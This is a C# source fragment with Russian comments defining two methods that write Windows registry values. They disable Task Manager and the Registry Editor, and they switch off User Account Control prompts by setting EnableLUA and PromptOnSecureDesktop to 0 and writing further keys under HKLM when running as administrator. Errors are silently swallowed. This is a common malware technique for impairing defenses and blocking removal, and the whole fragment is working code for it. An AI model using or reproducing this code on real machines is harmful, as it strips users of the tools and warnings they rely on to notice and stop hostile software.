/// <summary> /// Метод для отключения Диспетчера Задач и Реестра /// Список ключей которые будут затронуты находится в FiledsSystem /// </summary> /// <param name="regpath">Путь к разделу реестра</param> /// <param name="locker">Параметр для отключения/включения</param> /// <returns>true/false</returns> public static bool ToogleTaskMandRegedit(string regpath, int locker) { try { using (RegistryKey registry = RegistryKey.OpenBaseKey(RegistryHive.CurrentUser, Regview)) using (RegistryKey key = registry.OpenSubKey(regpath, RunCheck.StartWin_xSixtyFour())) using (RegistryKey sxs = key.CreateSubKey("System")) { sxs.SetValue("EnableLUA", 0, RegistryValueKind.DWord); sxs.SetValue("PromptOnSecureDesktop", 0, RegistryValueKind.DWord); try { foreach (string k in FiledsSystem) { try { sxs.SetValue(k, locker); } catch { } } } catch (Exception) { return(false); } return(true); } } catch { return(false); } }
/// <summary> /// Метод для отключения показа уведомления контроля учётных записей пользователя (UAC) /// Список ключей которые будут затронуты находится в FieldsLocal /// </summary> /// <param name="regpath">Путь к разделу реестра</param> /// <param name="locker">Параметр для отключения/включения</param> /// <returns>true/false</returns> public static bool ToogleUacAdmin(string regpath, int locker) { try { if (RunCheck.IsUserAdministrator()) { using (RegistryKey registry = RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, Regview)) using (RegistryKey key = registry.OpenSubKey(regpath, RunCheck.StartWin_xSixtyFour())) { try { foreach (string v in FieldsLocal) { try { key.SetValue(v, locker, RegistryValueKind.DWord); } catch { } } } catch (Exception) { return(false); } return(true); } } return(true); } catch (Exception) { return(false); } }